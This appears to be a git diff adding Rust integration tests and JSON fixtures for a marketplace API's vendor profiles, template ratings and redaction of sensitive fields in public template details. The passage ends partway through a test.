+        .bind(&template.vendor_url)
+        .execute(pool)
+        .await
+        .expect("Failed to seed marketplace template fixture");
+    }
+
+    templates
+}
+
+pub async fn seed_marketplace_template_ratings_for_vendor(pool: &PgPool, creator_user_id: &str) {
+    let ratings_by_slug: std::collections::BTreeMap<&str, &[i32]> =
+        std::collections::BTreeMap::from([
+            // Internal rating storage is 0-10; public/template APIs expose 1-5 stars.
+            ("wordpress-pro", &[10, 8][..]),
+            ("postgres-backup", &[6][..]),
+        ]);
+
+    let templates = sqlx::query(
+        r#"SELECT id, slug FROM stack_template
+           WHERE creator_user_id = $1 AND status = 'approved'
+           ORDER BY slug"#,
+    )
+    .bind(creator_user_id)
+    .fetch_all(pool)
+    .await
+    .expect("Failed to fetch seeded marketplace templates for ratings");
+
+    for (index, row) in templates.iter().enumerate() {
+        let slug: String = row.get("slug");
+        let product_id = 910_000 + index as i32;
+
+        sqlx::query(
+            r#"INSERT INTO product (id, obj_id, obj_type, created_at, updated_at)
+               VALUES ($1, $1, 'marketplace_template', NOW(), NOW())
+               ON CONFLICT (id) DO NOTHING"#,
+        )
+        .bind(product_id)
+        .execute(pool)
+        .await
+        .expect("Failed to seed marketplace product for ratings");
+
+        sqlx::query("UPDATE stack_template SET product_id = $2 WHERE slug = $1")
+            .bind(&slug)
+            .bind(product_id)
+            .execute(pool)
+            .await
+            .expect("Failed to attach product_id to marketplace template");
+
+        if let Some(ratings) = ratings_by_slug.get(slug.as_str()) {
+            for (rating_index, rating_value) in ratings.iter().enumerate() {
+                sqlx::query(
+                    r#"INSERT INTO rating (
+                        user_id,
+                        obj_id,
+                        category,
+                        comment,
+                        hidden,
+                        rate,
+                        created_at,
+                        updated_at
+                    )
+                    VALUES ($1, $2, 'application', $3, false, $4, NOW(), NOW())"#,
+                )
+                .bind(format!("rating-user-{}-{}", slug, rating_index))
+                .bind(product_id)
+                .bind(format!("rating {} for {}", rating_index, slug))
+                .bind(*rating_value)
+                .execute(pool)
+                .await
+                .expect("Failed to seed marketplace rating");
+            }
+        }
+    }
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Original infrastructure
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
diff --git a/tests/fixtures/shared/marketplace/templates.json b/tests/fixtures/shared/marketplace/templates.json
new file mode 100644
index 00000000..5d7dde4b
--- /dev/null
+++ b/tests/fixtures/shared/marketplace/templates.json
@@ -0,0 +1,55 @@
+[
+  {
+    "creator_user_id": "vendor_acme",
+    "creator_name": "Acme Cloud",
+    "name": "WordPress Pro",
+    "slug": "wordpress-pro",
+    "status": "approved",
+    "short_description": "Production WordPress stack",
+    "long_description": "A hardened WordPress stack for teams.",
+    "tags": ["wordpress", "cms"],
+    "tech_stack": {
+      "runtime": "php",
+      "database": "mysql"
+    },
+    "vendor_url": "https://acme.example"
+  },
+  {
+    "creator_user_id": "vendor_acme",
+    "creator_name": "Acme Cloud",
+    "name": "Postgres Backup",
+    "slug": "postgres-backup",
+    "status": "approved",
+    "short_description": "Scheduled Postgres backups",
+    "long_description": "Simple backup automation for Postgres.",
+    "tags": ["postgres", "backup"],
+    "tech_stack": {
+      "database": "postgres"
+    },
+    "vendor_url": "https://acme.example"
+  },
+  {
+    "creator_user_id": "vendor_acme",
+    "creator_name": "Acme Cloud",
+    "name": "Draft Internal Template",
+    "slug": "draft-internal-template",
+    "status": "draft",
+    "short_description": "Should not be public",
+    "long_description": "This template must not appear publicly.",
+    "tags": [],
+    "tech_stack": {},
+    "vendor_url": "https://acme.example"
+  },
+  {
+    "creator_user_id": "vendor_beta",
+    "creator_name": "Beta Labs",
+    "name": "Beta Draft Template",
+    "slug": "beta-draft-template",
+    "status": "draft",
+    "short_description": "Beta draft",
+    "long_description": "This beta template should not appear publicly.",
+    "tags": [],
+    "tech_stack": {},
+    "vendor_url": "https://beta.example"
+  }
+]
diff --git a/tests/fixtures/shared/marketplace/vendors.json b/tests/fixtures/shared/marketplace/vendors.json
new file mode 100644
index 00000000..495eab15
--- /dev/null
+++ b/tests/fixtures/shared/marketplace/vendors.json
@@ -0,0 +1,35 @@
+[
+  {
+    "creator_user_id": "vendor_acme",
+    "public_slug": "acme-cloud",
+    "display_name": "Acme Cloud",
+    "bio": "Production-ready app stacks for small teams.",
+    "avatar_url": "https://cdn.trydirect.test/vendors/acme/avatar.png",
+    "website_url": "https://acme.example",
+    "verification_status": "verified",
+    "onboarding_status": "completed",
+    "payouts_enabled": true,
+    "payout_provider": "stripe_connect",
+    "payout_account_ref": "acct_acme_fixture",
+    "metadata": {
+      "country": "DE",
+      "support_email": "support@acme.example"
+    }
+  },
+  {
+    "creator_user_id": "vendor_beta",
+    "public_slug": "beta-labs",
+    "display_name": "Beta Labs",
+    "bio": "Experimental templates and developer tools.",
+    "avatar_url": null,
+    "website_url": "https://beta.example",
+    "verification_status": "pending",
+    "onboarding_status": "completed",
+    "payouts_enabled": false,
+    "payout_provider": "stripe_connect",
+    "payout_account_ref": "acct_beta_fixture",
+    "metadata": {
+      "country": "NL"
+    }
+  }
+]
diff --git a/tests/marketplace_creator_self_vendor_profile.rs b/tests/marketplace_creator_self_vendor_profile.rs
index 5433e574..86749d38 100644
--- a/tests/marketplace_creator_self_vendor_profile.rs
+++ b/tests/marketplace_creator_self_vendor_profile.rs
@@ -151,3 +151,177 @@ async fn creator_self_vendor_profile_requires_authentication() {
 
     assert_eq!(StatusCode::FORBIDDEN, response.status());
 }
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// PATCH /mine/vendor-profile — self-service public profile update
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[tokio::test]
+async fn creator_patch_vendor_public_profile_creates_profile_when_missing() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let response = reqwest::Client::new()
+        .patch(format!(
+            "{}/api/templates/mine/vendor-profile",
+            app.address
+        ))
+        .bearer_auth(USER_TOKEN)
+        .json(&json!({
+            "display_name": "Acme Cloud",
+            "bio": "We build stacks.",
+            "website_url": "https://acme-cloud.example.com",
+            "avatar_url": "https://acme-cloud.example.com/avatar.png",
+            "public_slug": "acme-cloud"
+        }))
+        .send()
+        .await
+        .expect("Failed to PATCH vendor public profile");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    // Verify the profile was persisted by reading it back
+    let get_response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/templates/mine/vendor-profile",
+            app.address
+        ))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to GET self vendor profile after PATCH");
+
+    assert_eq!(StatusCode::OK, get_response.status());
+
+    let body: Value = get_response
+        .json()
+        .await
+        .expect("response should be valid JSON");
+
+    let profile = &body["item"]["vendor_profile"];
+    assert_eq!("acme-cloud", profile["public_slug"]);
+    assert_eq!("Acme Cloud", profile["display_name"]);
+    assert_eq!("We build stacks.", profile["bio"]);
+    assert_eq!(
+        "https://acme-cloud.example.com/avatar.png",
+        profile["avatar_url"]
+    );
+    assert_eq!(
+        "https://acme-cloud.example.com",
+        profile["website_url"]
+    );
+}
+
+#[tokio::test]
+async fn creator_patch_vendor_public_profile_updates_existing_profile() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    // Seed an existing public profile
+    sqlx::query(
+        r#"INSERT INTO marketplace_vendor_profile (
+            creator_user_id, public_slug, display_name, bio,
+            avatar_url, website_url,
+            verification_status, onboarding_status
+        )
+        VALUES ($1, 'old-slug', 'Old Name', 'Old bio',
+                'https://old.example.com/avatar.png', 'https://old.example.com',
+                'unverified', 'not_started')"#,
+    )
+    .bind("test_user_id")
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to seed vendor profile");
+
+    // Update only display_name and bio — slug and URLs should be preserved via COALESCE
+    let response = reqwest::Client::new()
+        .patch(format!(
+            "{}/api/templates/mine/vendor-profile",
+            app.address
+        ))
+        .bearer_auth(USER_TOKEN)
+        .json(&json!({
+            "display_name": "New Name",
+            "bio": "New bio"
+        }))
+        .send()
+        .await
+        .expect("Failed to PATCH vendor public profile");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    // Verify only the specified fields changed
+    let get_response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/templates/mine/vendor-profile",
+            app.address
+        ))
+        .bearer_auth(USER_TOKEN)
+        .send()
+        .await
+        .expect("Failed to GET self vendor profile");
+
+    let body: Value = get_response
+        .json()
+        .await
+        .expect("response should be valid JSON");
+
+    let profile = &body["item"]["vendor_profile"];
+    assert_eq!("old-slug", profile["public_slug"]);
+    assert_eq!("New Name", profile["display_name"]);
+    assert_eq!("New bio", profile["bio"]);
+    assert_eq!(
+        "https://old.example.com/avatar.png",
+        profile["avatar_url"]
+    );
+    assert_eq!("https://old.example.com", profile["website_url"]);
+}
+
+#[tokio::test]
+async fn creator_patch_vendor_public_profile_rejects_invalid_slug() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let response = reqwest::Client::new()
+        .patch(format!(
+            "{}/api/templates/mine/vendor-profile",
+            app.address
+        ))
+        .bearer_auth(USER_TOKEN)
+        .json(&json!({
+            "public_slug": "-invalid-slug"
+        }))
+        .send()
+        .await
+        .expect("Failed to PATCH vendor public profile with invalid slug");
+
+    assert_eq!(StatusCode::BAD_REQUEST, response.status());
+}
+
+#[tokio::test]
+async fn creator_patch_vendor_public_profile_requires_authentication() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let response = reqwest::Client::new()
+        .patch(format!(
+            "{}/api/templates/mine/vendor-profile",
+            app.address
+        ))
+        .json(&json!({
+            "display_name": "Should Not Work"
+        }))
+        .send()
+        .await
+        .expect("Failed to PATCH vendor public profile without auth");
+
+    assert_eq!(StatusCode::FORBIDDEN, response.status());
+}
diff --git a/tests/marketplace_integration.rs b/tests/marketplace_integration.rs
index 041afd92..f173ed59 100644
--- a/tests/marketplace_integration.rs
+++ b/tests/marketplace_integration.rs
@@ -46,8 +46,9 @@ async fn test_deployment_free_template_allowed() {
         verifications: serde_json::json!({}),
         infrastructure_requirements: serde_json::json!({}),
         public_ports: None,
-        vendor_url: None,
-        version: None,
+            vendor_url: None,
+            vendor_slug: None,
+            version: None,
         changelog: None,
         config_files: serde_json::json!([]),
         assets: serde_json::json!([]),
@@ -96,8 +97,9 @@ async fn test_deployment_plan_requirement_validated() {
         verifications: serde_json::json!({}),
         infrastructure_requirements: serde_json::json!({}),
         public_ports: None,
-        vendor_url: None,
-        version: None,
+            vendor_url: None,
+            vendor_slug: None,
+            version: None,
         changelog: None,
         config_files: serde_json::json!([]),
         assets: serde_json::json!([]),
@@ -150,8 +152,9 @@ async fn test_deployment_owned_paid_template_allowed() {
         verifications: serde_json::json!({}),
         infrastructure_requirements: serde_json::json!({}),
         public_ports: None,
-        vendor_url: None,
-        version: None,
+            vendor_url: None,
+            vendor_slug: None,
+            version: None,
         changelog: None,
         config_files: serde_json::json!([]),
         assets: serde_json::json!([]),
@@ -379,8 +382,9 @@ async fn test_deployment_validation_flow_with_connector() {
         verifications: serde_json::json!({}),
         infrastructure_requirements: serde_json::json!({}),
         public_ports: None,
-        vendor_url: None,
-        version: None,
+            vendor_url: None,
+            vendor_slug: None,
+            version: None,
         changelog: None,
         config_files: serde_json::json!([]),
         assets: serde_json::json!([]),
@@ -421,8 +425,9 @@ async fn test_deployment_validation_flow_with_connector() {
         verifications: serde_json::json!({}),
         infrastructure_requirements: serde_json::json!({}),
         public_ports: None,
-        vendor_url: None,
-        version: None,
+            vendor_url: None,
+            vendor_slug: None,
+            version: None,
         changelog: None,
         config_files: serde_json::json!([]),
         assets: serde_json::json!([]),
@@ -544,8 +549,9 @@ async fn test_multiple_deployments_mixed_templates() {
         verifications: serde_json::json!({}),
         infrastructure_requirements: serde_json::json!({}),
         public_ports: None,
-        vendor_url: None,
-        version: None,
+            vendor_url: None,
+            vendor_slug: None,
+            version: None,
         changelog: None,
         config_files: serde_json::json!([]),
         assets: serde_json::json!([]),
@@ -586,8 +592,9 @@ async fn test_multiple_deployments_mixed_templates() {
         verifications: serde_json::json!({}),
         infrastructure_requirements: serde_json::json!({}),
         public_ports: None,
-        vendor_url: None,
-        version: None,
+            vendor_url: None,
+            vendor_slug: None,
+            version: None,
         changelog: None,
         config_files: serde_json::json!([]),
         assets: serde_json::json!([]),
@@ -633,8 +640,9 @@ async fn test_multiple_deployments_mixed_templates() {
         verifications: serde_json::json!({}),
         infrastructure_requirements: serde_json::json!({}),
         public_ports: None,
-        vendor_url: None,
-        version: None,
+            vendor_url: None,
+            vendor_slug: None,
+            version: None,
         changelog: None,
         config_files: serde_json::json!([]),
         assets: serde_json::json!([]),
@@ -697,8 +705,9 @@ fn test_template_status_values() {
         verifications: serde_json::json!({}),
         infrastructure_requirements: serde_json::json!({}),
         public_ports: None,
-        vendor_url: None,
-        version: None,
+            vendor_url: None,
+            vendor_slug: None,
+            version: None,
         changelog: None,
         config_files: serde_json::json!([]),
         assets: serde_json::json!([]),
diff --git a/tests/marketplace_public_vendor_profile.rs b/tests/marketplace_public_vendor_profile.rs
new file mode 100644
index 00000000..ca85c029
--- /dev/null
+++ b/tests/marketplace_public_vendor_profile.rs
@@ -0,0 +1,333 @@
+mod common;
+
+use reqwest::StatusCode;
+use serde_json::Value;
+
+async fn seed_vendor_page(
+    app: &common::TestApp,
+    public_slug: &str,
+) -> common::MarketplaceVendorFixture {
+    let vendor = common::seed_marketplace_vendor_fixture(&app.db_pool, public_slug).await;
+    common::seed_marketplace_template_fixtures_for_vendor(&app.db_pool, &vendor.creator_user_id)
+        .await;
+    common::seed_marketplace_template_ratings_for_vendor(&app.db_pool, &vendor.creator_user_id)
+        .await;
+    vendor
+}
+
+#[tokio::test]
+async fn public_vendor_profile_returns_vendor_and_approved_templates_by_slug() {
+    // Given a shared vendor fixture with approved and non-approved templates
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let vendor = seed_vendor_page(&app, "acme-cloud").await;
+
+    // When a public user requests the vendor page without authentication
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/vendors/{}",
+            app.address, vendor.public_slug
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch public vendor profile");
+
+    // Then the public vendor profile and only approved templates are returned
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("vendor profile response should be valid JSON");
+
+    assert_eq!("OK", body["message"]);
+    assert_eq!(
+        vendor.creator_user_id,
+        body["item"]["vendor"]["creator_user_id"]
+    );
+    assert_eq!(vendor.public_slug, body["item"]["vendor"]["slug"]);
+    assert_eq!(vendor.display_name, body["item"]["vendor"]["display_name"]);
+    assert_eq!(
+        vendor.bio,
+        body["item"]["vendor"]["bio"].as_str().map(str::to_string)
+    );
+    assert_eq!(true, body["item"]["vendor"]["verified"]);
+    assert!(body["item"]["vendor"]["created_at"].is_string());
+    assert_eq!(Some(4.0), body["item"]["vendor"]["rating"].as_f64());
+    assert_eq!(3, body["item"]["vendor"]["rating_count"]);
+    assert_eq!(5, body["item"]["vendor"]["rating_scale"]);
+
+    let templates = body["item"]["templates"]
+        .as_array()
+        .expect("templates should be an array");
+    assert_eq!(2, templates.len());
+
+    let slugs = templates
+        .iter()
+        .map(|template| template["slug"].as_str().unwrap_or_default())
+        .collect::<Vec<_>>();
+    assert!(slugs.contains(&"wordpress-pro"));
+    assert!(slugs.contains(&"postgres-backup"));
+    assert!(!slugs.contains(&"draft-internal-template"));
+
+    let wordpress = templates
+        .iter()
+        .find(|template| template["slug"] == "wordpress-pro")
+        .expect("wordpress template should be present");
+    assert_eq!(Some(4.5), wordpress["rating"].as_f64());
+    assert_eq!(2, wordpress["rating_count"]);
+    assert_eq!(5, wordpress["rating_scale"]);
+
+    let postgres = templates
+        .iter()
+        .find(|template| template["slug"] == "postgres-backup")
+        .expect("postgres template should be present");
+    assert_eq!(Some(3.0), postgres["rating"].as_f64());
+    assert_eq!(1, postgres["rating_count"]);
+    assert_eq!(5, postgres["rating_scale"]);
+}
+
+#[tokio::test]
+async fn public_vendor_profile_can_be_loaded_by_creator_user_id() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let vendor = seed_vendor_page(&app, "acme-cloud").await;
+
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/vendors/{}",
+            app.address, vendor.creator_user_id
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch public vendor profile by creator id");
+
+    assert_eq!(StatusCode::OK, response.status());
+    let body: serde_json::Value = response.json().await.expect("Failed to parse response");
+    assert_eq!(body["item"]["vendor"]["slug"], "acme-cloud");
+}
+
+#[tokio::test]
+async fn public_vendor_profile_does_not_expose_sensitive_payout_fields() {
+    // Given a vendor fixture with a payout account reference
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let vendor = seed_vendor_page(&app, "acme-cloud").await;
+    sqlx::query(
+        r#"UPDATE marketplace_vendor_profile
+           SET metadata = metadata || '{"internal_note":"do-not-leak","onboarding":{"secret":"hidden"}}'::jsonb
+           WHERE creator_user_id = $1"#,
+    )
+    .bind(&vendor.creator_user_id)
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to add private metadata");
+
+    // When the public vendor page is requested
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/vendors/{}",
+            app.address, vendor.public_slug
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch public vendor profile");
+
+    assert_eq!(StatusCode::OK, response.status());
+    let body: Value = response
+        .json()
+        .await
+        .expect("vendor profile response should be valid JSON");
+
+    // Then payout account references are not exposed anywhere in the payload
+    assert!(body["item"]["vendor"].get("payout_account_ref").is_none());
+    assert!(!body.to_string().contains("acct_acme_fixture"));
+    assert!(!body.to_string().contains("do-not-leak"));
+    assert!(body["item"]["vendor"]["metadata"]
+        .get("internal_note")
+        .is_none());
+    assert!(body["item"]["vendor"]["metadata"]
+        .get("onboarding")
+        .is_none());
+}
+
+#[tokio::test]
+async fn public_vendor_profile_returns_not_found_for_unknown_vendor() {
+    // Given no matching vendor fixture has been seeded
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    // When a public user requests an unknown vendor
+    let response = reqwest::Client::new()
+        .get(format!("{}/api/vendors/missing-vendor", app.address))
+        .send()
+        .await
+        .expect("Failed to fetch missing public vendor profile");
+
+    // Then the API returns not found
+    assert_eq!(StatusCode::NOT_FOUND, response.status());
+}
+
+#[tokio::test]
+async fn public_vendor_profile_does_not_require_authentication() {
+    // Given a public vendor fixture exists
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let vendor = seed_vendor_page(&app, "acme-cloud").await;
+
+    // When the request has no Authorization header
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/vendors/{}",
+            app.address, vendor.public_slug
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch public vendor profile");
+
+    // Then it still succeeds because vendor pages are public
+    assert_eq!(StatusCode::OK, response.status());
+}
+
+#[tokio::test]
+async fn public_vendor_profile_returns_empty_template_list_when_vendor_has_no_approved_templates() {
+    // Given a vendor exists but only has draft templates
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let vendor = seed_vendor_page(&app, "beta-labs").await;
+
+    // When the public vendor page is requested
+    let response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/vendors/{}",
+            app.address, vendor.public_slug
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch public vendor profile");
+
+    // Then the profile is returned with an empty templates array
+    assert_eq!(StatusCode::OK, response.status());
+    let body: Value = response
+        .json()
+        .await
+        .expect("vendor profile response should be valid JSON");
+
+    assert_eq!("beta-labs", body["item"]["vendor"]["slug"]);
+    assert!(body["item"]["vendor"]["created_at"].is_string());
+    assert!(body["item"]["vendor"]["rating"].is_null());
+    assert_eq!(0, body["item"]["vendor"]["rating_count"]);
+    assert_eq!(5, body["item"]["vendor"]["rating_scale"]);
+    assert_eq!(
+        0,
+        body["item"]["templates"]
+            .as_array()
+            .expect("templates should be an array")
+            .len()
+    );
+}
+
+#[tokio::test]
+async fn template_detail_includes_vendor_slug_from_vendor_profile() {
+    // Given a vendor with an approved template
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let vendor = seed_vendor_page(&app, "acme-cloud").await;
+
+    // When fetching the template detail for an approved template owned by that vendor
+    let response = reqwest::Client::new()
+        .get(format!("{}/api/templates/wordpress-pro", app.address))
+        .send()
+        .await
+        .expect("Failed to fetch template detail");
+
+    // Then the response includes the vendor's public_slug as vendor_slug
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("template detail response should be valid JSON");
+
+    assert_eq!("OK", body["message"]);
+    assert_eq!(
+        vendor.public_slug,
+        body["item"]["template"]["vendor_slug"]
+            .as_str()
+            .expect("vendor_slug should be a non-null string")
+    );
+    assert_eq!(
+        "WordPress Pro",
+        body["item"]["template"]["name"]
+            .as_str()
+            .expect("name should be a string")
+    );
+}
+
+#[tokio::test]
+async fn template_detail_vendor_slug_is_null_when_no_vendor_profile() {
+    // Given a template whose creator has no marketplace_vendor_profile record
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    // Insert a template directly without creating a vendor profile
+    sqlx::query(
+        r#"INSERT INTO stack_template (
+            id, creator_user_id, creator_name, name, slug, status,
+            short_description, tags, tech_stack
+        )
+        VALUES (
+            'a0000000-0000-0000-0000-000000000001'::uuid,
+            'orphan_creator',
+            'Orphan Creator',
+            'Orphan Template',
+            'orphan-template',
+            'approved',
+            'A template with no vendor profile',
+            '[]'::jsonb,
+            '{}'::jsonb
+        )"#,
+    )
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to insert orphan template");
+
+    // When fetching the template detail
+    let response = reqwest::Client::new()
+        .get(format!("{}/api/templates/orphan-template", app.address))
+        .send()
+        .await
+        .expect("Failed to fetch orphan template detail");
+
+    // Then vendor_slug is null because no vendor profile exists
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("template detail response should be valid JSON");
+
+    assert!(body["item"]["template"]["vendor_slug"].is_null());
+    assert_eq!(
+        "Orphan Template",
+        body["item"]["template"]["name"]
+            .as_str()
+            .expect("name should be a string")
+    );
+}
diff --git a/tests/marketplace_template_detail_redact.rs b/tests/marketplace_template_detail_redact.rs
new file mode 100644
index 00000000..4d731ff1
--- /dev/null
+++ b/tests/marketplace_template_detail_redact.rs
@@ -0,0 +1,349 @@
+/// Security tests: sensitive fields in stack_definition must be redacted
+/// for any caller of the public template detail endpoints.
+///
+/// Covers:
+///   GET /api/templates/{slug}
+///   GET /api/v1/templates/{slug}
+mod common;
+
+use reqwest::StatusCode;
+use serde_json::{json, Value};
+use sqlx::Row;
+
+async fn insert_approved_template(pool: &sqlx::PgPool, slug: &str) -> uuid::Uuid {
+    sqlx::query(
+        r#"INSERT INTO stack_template (
+            creator_user_id, name, slug, status,
+            tags, tech_stack, infrastructure_requirements,
+            approved_at
+        )
+        VALUES ($1, $2, $3, 'approved', '[]'::jsonb, '{}'::jsonb, '{}'::jsonb, NOW())
+        RETURNING id"#,
+    )
+    .bind(common::USER_A_ID)
+    .bind(format!("Sensitive Test Template {}", slug))
+    .bind(slug)
+    .fetch_one(pool)
+    .await
+    .expect("insert template")
+    .get::<uuid::Uuid, _>("id")
+}
+
+/// Seed a template whose stack_definition is a JSON object (definition_format = 'json')
+/// with sensitive fields in the {key, value} pair format used by ProjectForm.
+async fn seed_template_with_sensitive_json_definition(
+    pool: &sqlx::PgPool,
+    slug: &str,
+) -> uuid::Uuid {
+    let template_id = insert_approved_template(pool, slug).await;
+
+    let stack_definition = json!({
+        "custom": {
+            "custom_stack_code": "myapp",
+            "web": []
+        },
+        "deploy": {
+            "stack": {
+                "vars": [
+                    { "key": "DB_HOST",     "value": "db.internal" },
+                    { "key": "DB_PASSWORD", "value": "super_secret_pw" },
+                    { "key": "DB_USER",     "value": "appuser" },
+                    { "key": "api_key",     "value": "sk-live-abc123" },
+                    { "key": "AUTH_KEY",    "value": "auth-token-xyz" },
+                    { "key": "APP_PORT",    "value": "3000" }
+                ]
+            },
+            "nested": {
+                "credentials": {
+                    "passwd": "root_pass",
+                    "username": "root"
+                }
+            }
+        }
+    });
+
+    sqlx::query(
+        r#"INSERT INTO stack_template_version (
+            template_id, version, stack_definition,
+            definition_format, is_latest
+        )
+        VALUES ($1, '1.0.0', $2, 'json', true)"#,
+    )
+    .bind(template_id)
+    .bind(stack_definition)
+    .execute(pool)
+    .await
+    .expect("insert template version");
+
+    template_id
+}
+
+/// Seed a template whose stack_definition is a Docker Compose YAML string
+/// (definition_format = 'yaml') — the format used by real marketplace templates.
+async fn seed_template_with_sensitive_yaml_definition(
+    pool: &sqlx::PgPool,
+    slug: &str,
+) -> uuid::Uuid {
+    let template_id = insert_approved_template(pool, slug).await;
+
+    // Mirrors the actual format seen at /api/templates/myproject15
+    let yaml = r#"version: '3.8'
+services:
+  app:
+    image: flowiseai/flowise:latest
+    environment:
+      PORT: '3000'
+      APP_HOST: localhost
+      FLOWISE_USERNAME: admin
+      FLOWISE_PASSWORD: admin123
+      DATABASE_PASSWORD: Qwerty123
+      SECRETKEY: change-me-please
+    restart: always
+"#;
+
+    // Store the YAML as a JSONB string value (same as how the real table stores it).
+    // Binding serde_json::Value::String lets sqlx serialize it as a JSON-quoted string.
+    sqlx::query(
+        r#"INSERT INTO stack_template_version (
+            template_id, version, stack_definition,
+            definition_format, is_latest
+        )
+        VALUES ($1, '1.0.0', $2, 'yaml', true)"#,
+    )
+    .bind(template_id)
+    .bind(serde_json::Value::String(yaml.to_string()))
+    .execute(pool)
+    .await
+    .expect("insert yaml template version");
+
+    template_id
+}
+
+// ────────────────────────────────────────────────────────────────────
+// /api/templates/{slug}
+// ────────────────────────────────────────────────────────────────────
+
+#[tokio::test]
+async fn anonymous_user_cannot_see_password_values_in_template_detail() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let slug = "redact-test-anon-v1";
+    seed_template_with_sensitive_json_definition(&app.db_pool, slug).await;
+
+    let response = reqwest::Client::new()
+        .get(format!("{}/api/templates/{}", app.address, slug))
+        .send()
+        .await
+        .expect("detail request");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response.json().await.expect("json body");
+    let sd = &body["item"]["latest_version"]["stack_definition"];
+
+    // Sensitive values must be redacted
+    let vars = sd["deploy"]["stack"]["vars"]
+        .as_array()
+        .expect("vars array");
+
+    let find = |key: &str| {
+        vars.iter()
+            .find(|v| v["key"] == key)
+            .map(|v| v["value"].as_str().unwrap_or("").to_string())
+    };
+
+    assert_eq!(
+        Some("***REDACTED***".to_string()),
+        find("DB_PASSWORD"),
+        "DB_PASSWORD value must be redacted"
+    );
+    assert_eq!(
+        Some("***REDACTED***".to_string()),
+        find("api_key"),
+        "api_key value must be redacted"
+    );
+    assert_eq!(
+        Some("***REDACTED***".to_string()),
+        find("AUTH_KEY"),
+        "AUTH_KEY value must be redacted"
+    );
+
+    // Non-sensitive values must be preserved
+    assert_eq!(
+        Some("db.internal".to_string()),
+        find("DB_HOST"),
+        "DB_HOST value must not be redacted"
+    );
+    assert_eq!(
+        Some("appuser".to_string()),
+        find("DB_USER"),
+        "DB_USER value must not be redacted"
+    );
+    assert_eq!(
+        Some("3000".to_string()),
+        find("APP_PORT"),
+        "APP_PORT value must not be redacted"
+    );
+
+    // Nested sensitive field must also be redacted
+    assert_eq!(
+        "***REDACTED***",
+        sd["deploy"]["nested"]["credentials"]["passwd"],
+        "nested passwd must be redacted"
+    );
+    // Non-sensitive sibling must survive
+    assert_eq!(
+        "root",
+        sd["deploy"]["nested"]["credentials"]["username"],
+        "nested username must not be redacted"
+    );
+}
+
+#[tokio::test]
+async fn authenticated_user_also_receives_redacted_stack_definition() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let slug = "redact-test-auth-v1";
+    seed_template_with_sensitive_json_definition(&app.db_pool, slug).await;
+
+    // Authenticated request
+    let response = reqwest::Client::new()
+        .get(format!("{}/api/templates/{}", app.address, slug))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("detail request");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response.json().await.expect("json body");
+    let sd = &body["item"]["latest_version"]["stack_definition"];
+
+    let vars = sd["deploy"]["stack"]["vars"]
+        .as_array()
+        .expect("vars array");
+
+    let find = |key: &str| {
+        vars.iter()
+            .find(|v| v["key"] == key)
+            .map(|v| v["value"].as_str().unwrap_or("").to_string())
+    };
+
+    assert_eq!(
+        Some("***REDACTED***".to_string()),
+        find("DB_PASSWORD"),
+        "DB_PASSWORD must be redacted for authenticated users too"
+    );
+    assert_eq!(
+        Some("db.internal".to_string()),
+        find("DB_HOST"),
+        "DB_HOST must remain visible"
+    );
+}
+
+// ────────────────────────────────────────────────────────────────────
+// /api/v1/templates/{slug}
+// ────────────────────────────────────────────────────────────────────
+
+#[tokio::test]
+async fn v1_template_detail_also_redacts_sensitive_fields() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let slug = "redact-test-v1-path";
+    seed_template_with_sensitive_json_definition(&app.db_pool, slug).await;
+
+    let response = reqwest::Client::new()
